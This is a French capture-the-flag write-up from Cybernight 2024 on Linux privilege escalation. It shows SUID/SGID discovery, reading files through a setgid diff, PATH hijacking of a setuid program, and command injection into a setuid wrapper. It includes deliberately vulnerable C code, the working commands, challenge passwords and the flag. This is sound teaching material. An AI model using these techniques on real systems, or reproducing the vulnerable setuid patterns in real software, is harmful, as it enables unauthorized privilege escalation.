Contenu

Escabot

WriteUp d’un challenge créé par NozZyNozZy, dans la catégorie Système, de difficulté Medium (256 points) lors de la Cybernight 2024.

Le challenge était en 3 parties: Marche Pied, Escabot et Échelle. Il consistait en de multiple escalation de privilège.

Description

Bienvenue à cette introduction à l’escalade de privilèges sur système Linux !

Vous démarrez avec un compte symbolisé par une marche, et devez grimper les marches une par une jusqu’à arriver à la dernière disponible.

Chaque objet d’escalade possède un thème, qui vous sera utile à comprendre afin de grimper les marches ! L’escabot comporte quatre marches : de marche3 à marche6 La dernière marche possède un flag dans ~/flag.txt

Le thème de l’escabot est : Set User/Group ID

Usermarche3
Passwordmarche3

Write Up

Le titre du challenge semble nous indiquer des problèmes de configuration des permissions sur les setuid/guid.

Qu'est-ce qu'un SetUid/Guid ?

Un Setuid/Guid est un moyen de partager des permissions entre les utilisateurs d’un système unix.1

Ils permettent de lancer un programme avec les permissions du propriétaire.

Par exemple, le programme passwd (qui permet de modifier son mot de passe) à besoin des droits de l’utilisateur root pour fonctionner et peut être utilisez par des utilisateur normaux.

$ ls -lah /bin/passwd

-rwsr-xr-x. 1 root root 94K 10 oct.  02:00 /bin/passwd
   ^
   |
setuid

Marche 4

On va chercher les binaires avec un setuid ou un guid avec la commande find :

marche3@fcea696e06ad:~$ find / -type f -perm /4000 2> /dev/null
/home/marche4/showfile
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign

marche3@fcea696e06ad:~$ find / -type f -perm /2000 2> /dev/null
/usr/bin/chage
/usr/bin/diff
/usr/bin/expiry
/usr/bin/ssh-agent
/usr/sbin/pam_extrausers_chkpwd
/usr/sbin/unix_chkpwd

Deux fichiers sortent du lot, on va vérifier leurs permissions :

marche3@fcea696e06ad:~$ ls -l /home/marche4/showfile
-r-sr-x---. 1 marche5 marche4 16016 Dec 26 20:36 /home/marche4/showfile

marche3@fcea696e06ad:~$ ls -l /usr/bin/diff
-rwxr-sr-x. 1 root marche4 133680 Mar 23  2022 /usr/bin/diff

Nous ne pouvons pas utiliser showfile car nous ne sommes pas dans le groupe marche4. Nous pouvons cependant utiliser diff avec les permissions de marche4 pour afficher les fichiers de marche4.

marche3@4c8ce123a852a32d:/home/marche4$ diff do\ not\ forgor showfile.c 
1c1,8
< YoCheckThatPasswordFormarche4
---
> #include <unistd.h>
> #include <stdio.h>
> 
> int main(int argc, char** argv, char** envp) {
>   char *args[] = {"ls", "-l", "-a", argv[1], NULL};
>   execvpe(args[0], args, envp);
>   return 0;
> }

Le mot de passe de marche4 est YoCheckThatPasswordFormarche4.

Marche 5

On nous donne le code de showfile :

#include <unistd.h>
#include <stdio.h>
 
int main(int argc, char** argv, char** envp) {
  char *args[] = {"ls", "-l", "-a", argv[1], NULL};
  execvpe(args[0], args, envp);
  return 0;
}

Avec showfile on peut voir les fichiers possèdés par marche5 :

marche4@ea46cbd9ca17eb72:~$ ./showfile /home/marche5
total 52
drwxr-x--- 1 marche5 marche5  4096 Nov  7 22:40 .
drwxr-xr-x 1 root    root     4096 Nov  7 22:40 ..
-rw-r--r-- 1 marche5 marche5   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 marche5 marche5  3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 marche5 marche5    29 Nov  7 22:40 .password
-rw-r--r-- 1 marche5 marche5   807 Jan  6  2022 .profile
-r-sr-x--x 1 marche6 marche5 16144 Nov  7 22:40 tree
-r-xr----- 1 marche5 marche5   237 Nov  7 22:35 tree.c

On remarque que marche5 possède un programme tree avec un setuid. Il peut-être utilisé pour passer de marche5 à marche6.

Showfile n’utilise pas un chemin absolue pour indiquer la localisation du programme ls et réutilise les variables d’environement de l’appelant, dont la variable PATH.

Qu'est-ce qu'une variable d'environnement ?

Dans les systèmes Unix, l’environnement est un ensemble de chaîne de caractère, sous la forme clef=valeur, mis à la disposition des programmes. On appelle ces chaînes de caractère des variables d’environnements. 1

Lorsqu’un processus est créé, il hérite d’une copie de l’environnement de son processus père.

Les variables d’environnement servent à communiquer au programme des informations dynamiques sur système comme l’utilisateur connecté (variable USER), la langue du système (variable LANG), le répertoire de connexion d’un utilisateur (variable HOME), …

Vous pouvez afficher l’environnement avec la commande printenv :

printenv
SHELL=/bin/bash
HOSTNAME=laptop-matthieu
HISTSIZE=1000
EDITOR=/usr/bin/nano
HOME=/home/mattherix
USER=mattherix
[...]

  1. L’Environnement utilisateur : environ(7) ↩︎

Qu'est-ce que la variable d'environnement PATH ?

La variable d’environnement PATH est une liste de préfixes de répertoires utilisés pour localiser les programmes. Chaque préfixe de chemin est séparé par des deux-points :. 1

Par exemple, pour localiser le programme ls, bash va utiliser la variable d’environnement PATH afin de le trouver dans /usr/bin/ls :

echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

whereis ls
ls: /usr/bin/ls /usr/share/man/man1/ls.1.gz
# ls est localisé dans /usr/bin/ls
# Pour le trouvé bash a commencé par tester /usr/local/sbin/ls,
# puis /usr/local/bin/ls, puis /usr/sbin/ls, puis /usr/bin/ls.

  1. L’Environnement utilisateur : environ(7) ↩︎

On crée un programme ls et modifie la variable d’environnement PATH afin que notre programme soit exécuter à la place de la commande ls

ln -s /usr/bin/nano ls
export PATH="/home/marche4:$PATH"

./showfile /home/marche5/.password
JeezInsanePasswordFormarche5
Avertissement
Votre faux programme ls doit accepter les paramètres -l et -a. cat n’est donc pas utilisable.

Marche 6

On nous donne le code de tree :

#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv, char** envp) {
  setreuid(geteuid(), geteuid());
  char command[32] = "/bin/tree ";
  strcat(command, argv[1]);
  system(command);
  return 0;
}

On utilise tree pour afficher la liste des fichiers de marche6 :

marche5@ea46cbd9ca17eb72:~$ ./tree /home/marche6/        
/home/marche6/
|-- flag.txt
`-- myapp
    |-- app
    |-- config
    `-- logs
        |-- 2017-06-18T07:56:47
        |-- 2017-06-19T08:35:12
        `-- 2017-06-22T03:22:44

Contrairement à showfile, tree n’utilise pas les variables d’environements de l’appelant. Cependant, il ne vérifie pas correctement l’argument entrée et on peut faire de l’injection de commande :

./tree "/home/marche6/ && whoami"

Ainsi, on peut afficher le flag :

marche5@ea46cbd9ca17eb72:~$ ./tree "/home/marche6/ && cat /home/marche6/flag.txt"
/home/marche6/
|-- flag.txt
`-- myapp
    |-- app
    |-- config
    `-- logs
        |-- 2017-06-18T07:56:47
        |-- 2017-06-19T08:35:12
        `-- 2017-06-22T03:22:44

2 directories, 6 files
CYBN{sU1d_i5_v3Ry_s3nSIT1ve_B3_c@reFUL}
*** stack smashing detected ***: terminated
Aborted (core dumped)
FLAG
CYBN{sU1d_i5_v3Ry_s3nSIT1ve_B3_c@reFUL}